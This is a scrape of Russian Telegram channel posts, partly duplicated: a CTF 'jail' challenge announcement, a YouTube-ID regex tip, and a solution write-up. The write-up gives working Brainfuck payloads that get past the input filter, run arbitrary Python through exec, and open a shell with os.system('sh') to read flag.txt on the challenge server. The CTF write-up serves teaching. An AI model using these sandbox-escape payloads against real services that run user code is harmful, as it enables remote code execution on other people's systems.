📖 В продолжение темы с интерактивом, публикую новую задачку на нестандартную логику. Про аиста, кажется, был интерес порешать, но не хватило времени – описание решения быстро опубликовал. Исправляю эту проблему: разбор задачи опубликую через неделю, должно хватить времени спокойно покопаться. И чтобы было вообще все по-настоящему, развернул сервер, на котором можно проверить свое решение и получить флаг.
📌 Суть задачи: пробиться через проверки ввода и получить данные из текстового файла flag.txt, он лежит на сервере рядом со скриптом, с которым происходит «общение».
Скрипт игнорирует сообщения длиной более 200 символов и все символы, кроме тех, что есть в алфавите языка Brainfuck. Код с сервера предоставляется для изучения и отладки локально. Скрипт написан на python и полностью повторяет логику brainfuck, выполняя транслитерацию ввода: код брайнфака переводит в питон и потом выполняет через exec.
📖 Это задачка из категории Jail (тюрьма) —тип задач в CTF, где участник оказывается в ограниченной среде (например, внутри Python-интерпретатора, Bash-оболочки, специального языка вроде Brainfuck и тд) и должен найти способ "сбежать" из этой среды, чтобы выполнить произвольные команды или прочитать флаг на сервере.
❗️ Задача доступна на сервере, данные для подключения:
Скрипт с сервера для изучения и локальной отладки: скачать.
Описание решения выйдет в обед воскресенья, 10 августа.
Коллективные обсуждения и решения приветствуются – они в комментариях.
Кто первый решит, тот молодец 😁
———
#⃣ #CTF #ЗадачиCTF #Jail
🐞 БАГодельня: Канал // Чат
📖 В продолжение темы с интерактивом, публикую новую задачку на нестандартную логику. Про аиста, кажется, был интерес порешать, но не хватило времени – описание решения быстро опубликовал. Исправляю эту проблему: разбор задачи опубликую через неделю, должно хватить времени спокойно покопаться. И чтобы было вообще все по-настоящему, развернул сервер, на котором можно проверить свое решение и получить флаг.
📌 Суть задачи: пробиться через проверки ввода и получить данные из текстового файла flag.txt, он лежит на сервере рядом со скриптом, с которым происходит «общение».
Скрипт игнорирует сообщения длиной более 200 символов и все символы, кроме тех, что есть в алфавите языка Brainfuck. Код с сервера предоставляется для изучения и отладки локально. Скрипт написан на python и полностью повторяет логику brainfuck, выполняя транслитерацию ввода: код брайнфака переводит в питон и потом выполняет через exec.
📖 Это задачка из категории Jail (тюрьма) —тип задач в CTF, где участник оказывается в ограниченной среде (например, внутри Python-интерпретатора, Bash-оболочки, специального языка вроде Brainfuck и тд) и должен найти способ "сбежать" из этой среды, чтобы выполнить произвольные команды или прочитать флаг на сервере.
❗️ Задача доступна на сервере, данные для подключения:
nc ctf.owl-dev.ru 1337
Скрипт с сервера для изучения и локальной отладки: скачать.
Описание решения выйдет в обед воскресенья, 10 августа.
Коллективные обсуждения и решения приветствуются – они в комментариях.
Кто первый решит, тот молодец 😁
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤3🤔3
Упрощаем вставку видео с YouTube
📖 Когда компьютер – это основной рабочий инструмент, а множество программ и сайтов используются ежедневно, то незаметно для самого себя формируются шаблоны поведения с тем или иным интерфейсом. Уже не задумываясь, автоматически тянется курсор к крестику, чтобы закрыть окно, жмем enter для отправки формы, F12 для вызова консоли в браузере, а при загрузке аватарки выбираем файлы с расширениями png или jpeg, но никак не exe. И еще много подобных мелочей, которые становятся рефлексами, а не осмысленными действиями. Такой же эффект может случиться и при разработке любого функционала, с которым взаимодействует пользователь. Для разработчика, который регулярно реализовывает один и тот же кусочек логики, такой функционал становится предельно очевидным и уже интуитивно понятным в использовании. Но это совсем не значит, что такой же опыт имеют и пользователи, для которых строится приложение. Об этом важно помнить и осмысленно подходить к отладке, оптимизации и валидации функционала, с которым будут работать живые люди.
📌 Хороший пример, который демонстрирует то, что я описал в первом абзаце, это вставка видео с YouTube в каком-нибудь пользовательском интерфейсе. Это может быть как админка для контентщиков, так и пользовательский кусок приложения. Для разработчика, который обрабатывает, хранит и выводит потом контент, очевидно – нужно вставлять iframe. Четыре клика: открыл ролик, под видео нажать «Поделиться», потом кнопку «Встроить» и скопировать html-код сгенерированный YouTube. А для пользователя это ЦЕЛЫХ четыре клика, и они совсем не интуитивные. Нужно найти все эти кнопки и потом понять, что конкретно скопировать и куда потом вставить в интерфейсе управления контентом. Очуметь можно, если делать такое в первый раз.
📌 По опыту могу сказать, что в контент пихают все, что только можно, а код iframe всегда в последнюю очередь. Запихнуть можно четыре разных вариации данных: просто ссылка на сам ролик, которая открывается в адресной строке браузера. Ссылка, которая сразу появляется в попапе «Поделиться». Третье – ссылка из кода iframe. И только четвертым будет весь код вставки, который и ожидается в интерфейсе.
❗️ Все эти вариации можно провалидировать при вставке и ругаться на пользователя, просить вставить корректные данные. А пользователь в ответ будет плеваться и ругать разработчиков логики и интерфейса. Но пользователя не обязательно мучать, и не дергаться каждый раз на сообщения, что вставка видео не работает. Такую ситуацию легко обработать – пусть суют все что угодно, из всех этих данных можно получить то, что нужно для дальнейшей обработки.
Для вывода видео с YouTube достаточно иметь только ID видео. Он хранится во всех вариациях ссылки, который могут притащить пользователи. Просто обрабатываем эти варианты и дергаем из данных ID, а уже при выводе или при сохранении контента формируем остатки ссылки в валидном формате.
👨💻 К примеру, у нас есть ролик с ютуба, который нужно вставить фреймом в контент. Вытаскиваем ID видео из любого варианта данных, для этого хватит одной регулярки:
Получив id, можно сформировать любую ссылку или обертку, которая точно будет валидной. И все довольны – валидные данные сохранили, а пользователь пихает все, что ему удобно и привычно взять для вставки.
Все тоже самое применимо и к любым другим сервисам и вставкам, не только к видео с ютуба.
👻 Бонус
По id видоса можно дернуть с ютуба картинку-превью, сформировав ссылку по шаблону:
https://img.youtube.com/vi/dQw4w9WgXcQ/0.jpg, где dQw4w9WgXcQ – это id.
📖 Когда компьютер – это основной рабочий инструмент, а множество программ и сайтов используются ежедневно, то незаметно для самого себя формируются шаблоны поведения с тем или иным интерфейсом. Уже не задумываясь, автоматически тянется курсор к крестику, чтобы закрыть окно, жмем enter для отправки формы, F12 для вызова консоли в браузере, а при загрузке аватарки выбираем файлы с расширениями png или jpeg, но никак не exe. И еще много подобных мелочей, которые становятся рефлексами, а не осмысленными действиями. Такой же эффект может случиться и при разработке любого функционала, с которым взаимодействует пользователь. Для разработчика, который регулярно реализовывает один и тот же кусочек логики, такой функционал становится предельно очевидным и уже интуитивно понятным в использовании. Но это совсем не значит, что такой же опыт имеют и пользователи, для которых строится приложение. Об этом важно помнить и осмысленно подходить к отладке, оптимизации и валидации функционала, с которым будут работать живые люди.
📌 Хороший пример, который демонстрирует то, что я описал в первом абзаце, это вставка видео с YouTube в каком-нибудь пользовательском интерфейсе. Это может быть как админка для контентщиков, так и пользовательский кусок приложения. Для разработчика, который обрабатывает, хранит и выводит потом контент, очевидно – нужно вставлять iframe. Четыре клика: открыл ролик, под видео нажать «Поделиться», потом кнопку «Встроить» и скопировать html-код сгенерированный YouTube. А для пользователя это ЦЕЛЫХ четыре клика, и они совсем не интуитивные. Нужно найти все эти кнопки и потом понять, что конкретно скопировать и куда потом вставить в интерфейсе управления контентом. Очуметь можно, если делать такое в первый раз.
📌 По опыту могу сказать, что в контент пихают все, что только можно, а код iframe всегда в последнюю очередь. Запихнуть можно четыре разных вариации данных: просто ссылка на сам ролик, которая открывается в адресной строке браузера. Ссылка, которая сразу появляется в попапе «Поделиться». Третье – ссылка из кода iframe. И только четвертым будет весь код вставки, который и ожидается в интерфейсе.
❗️ Все эти вариации можно провалидировать при вставке и ругаться на пользователя, просить вставить корректные данные. А пользователь в ответ будет плеваться и ругать разработчиков логики и интерфейса. Но пользователя не обязательно мучать, и не дергаться каждый раз на сообщения, что вставка видео не работает. Такую ситуацию легко обработать – пусть суют все что угодно, из всех этих данных можно получить то, что нужно для дальнейшей обработки.
Для вывода видео с YouTube достаточно иметь только ID видео. Он хранится во всех вариациях ссылки, который могут притащить пользователи. Просто обрабатываем эти варианты и дергаем из данных ID, а уже при выводе или при сохранении контента формируем остатки ссылки в валидном формате.
👨💻 К примеру, у нас есть ролик с ютуба, который нужно вставить фреймом в контент. Вытаскиваем ID видео из любого варианта данных, для этого хватит одной регулярки:
const regex = /(?:youtube\.com\/watch\?v=|youtu\.be\/|youtube\.com\/embed\/)([a-zA-Z0-9_-]+)/;
const id1 = 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'.match(regex)[1];
const id2 = 'https://youtu.be/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa'.match(regex)[1];
const id3 = 'https://www.youtube.com/embed/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa'.match(regex)[1];
const id4 = '<iframe ... src="https://www.youtube.com/embed/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa" ...'.match(regex)[1];
console.log(id1, id2, id3, id4);
Получив id, можно сформировать любую ссылку или обертку, которая точно будет валидной. И все довольны – валидные данные сохранили, а пользователь пихает все, что ему удобно и привычно взять для вставки.
Все тоже самое применимо и к любым другим сервисам и вставкам, не только к видео с ютуба.
👻 Бонус
По id видоса можно дернуть с ютуба картинку-превью, сформировав ссылку по шаблону:
https://img.youtube.com/vi/dQw4w9WgXcQ/0.jpg, где dQw4w9WgXcQ – это id.
👍6🔥4🥴2 1
Побег с помощью Brainfuck. Решение
Решение задачки из прошлого поста про Brainfuck.
📖 Суть задачи: пробиться через валидацию строки ввода и выполнить код на сервере для чтения данных из файла flag.txt. Валидная строка — длина менее 200 символов, содержит только алфавит Brainfuck (8 символов:
Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через
📌 Решений тут может быть много. Опишу четыре в порядке их длины строки:
1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн генератора: ссылка. Длина строки 195 символов.
2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак – 88 символов.
3. У Brainfuck, кроме кодирования строк, есть еще возможность передать запятую и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит шлем 30 пар запятой и точки: ,.,.,. и тд. После этого засылаем все тот же print(open('flag.txt').read()). Длина строки для решения – 60 символов
4. В Brainfuck так же есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт – 0x00. Нулевой байт с консоли отправляется командой CTRL + @ или CTRL + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, в а квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат – 14 символов на Brainfuck:
📌 Если есть еще интересные решения – присылайте их в комментарии. С задачкой справилось 9 человек, кто в личку присылал решения и флаги. Значит формат интересный и попробуем еще что-то подобное устроить.
📌 Задача на сервере будет остановлена сегодня в 00:00 по МСК, но код в посте остался прикреплен, можно локально потренироваться. Исходники: скачать.
Сегодня еще можно попробовать помучить сервер, подключение:
❗️ Было несколько запросов, чтобы заранее анонсировать время выхода новой задачи. Объявляю: новая задача будет опубликована завтра – 10 августа в 12:00 по МСК времени.
———
#⃣ #CTF #РазборыЗадач
🐞 БАГодельня: Канал // Чат
Решение задачки из прошлого поста про Brainfuck.
📖 Суть задачи: пробиться через валидацию строки ввода и выполнить код на сервере для чтения данных из файла flag.txt. Валидная строка — длина менее 200 символов, содержит только алфавит Brainfuck (8 символов:
[, ], <, >, +, -, ., ,).Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через
exec. Нужно написать код на Brainfuck, который преобразуется в Python-код и достает данные из файла.📌 Решений тут может быть много. Опишу четыре в порядке их длины строки:
1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн генератора: ссылка. Длина строки 195 символов.
++++++++[>++++++++++++++>+++++>++++++++++++>++++++<<<<-]>.++.---------.+++++.++++++.>.<-----.+.>>+++++.<<--.>.-.>+.<<--.>>-----.++++++.>--.<<<++++++++.++++.----.>.++.>>.<<<--.>>--.----.+++.<-.+..
2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак – 88 символов.
++++++++++[>++++++++++>++++++++++++>++++<<<-]>+.>.<.--.>>.<<++++++.+++++.++.>---.-.>.+..
print(open('flag.txt').read())
3. У Brainfuck, кроме кодирования строк, есть еще возможность передать запятую и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит шлем 30 пар запятой и точки: ,.,.,. и тд. После этого засылаем все тот же print(open('flag.txt').read()). Длина строки для решения – 60 символов
,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.
print(open('flag.txt').read())
4. В Brainfuck так же есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт – 0x00. Нулевой байт с консоли отправляется командой CTRL + @ или CTRL + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, в а квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат – 14 символов на Brainfuck:
> nc ctf.owl-dev.ru 1337
++++++++++[.,]
import os
os.system('sh')
^@ # нулевой байт для остановки цикла
cat flag.txt
📌 Если есть еще интересные решения – присылайте их в комментарии. С задачкой справилось 9 человек, кто в личку присылал решения и флаги. Значит формат интересный и попробуем еще что-то подобное устроить.
📌 Задача на сервере будет остановлена сегодня в 00:00 по МСК, но код в посте остался прикреплен, можно локально потренироваться. Исходники: скачать.
Сегодня еще можно попробовать помучить сервер, подключение:
nc ctf.owl-dev.ru 1337❗️ Было несколько запросов, чтобы заранее анонсировать время выхода новой задачи. Объявляю: новая задача будет опубликована завтра – 10 августа в 12:00 по МСК времени.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍4❤1👏1 1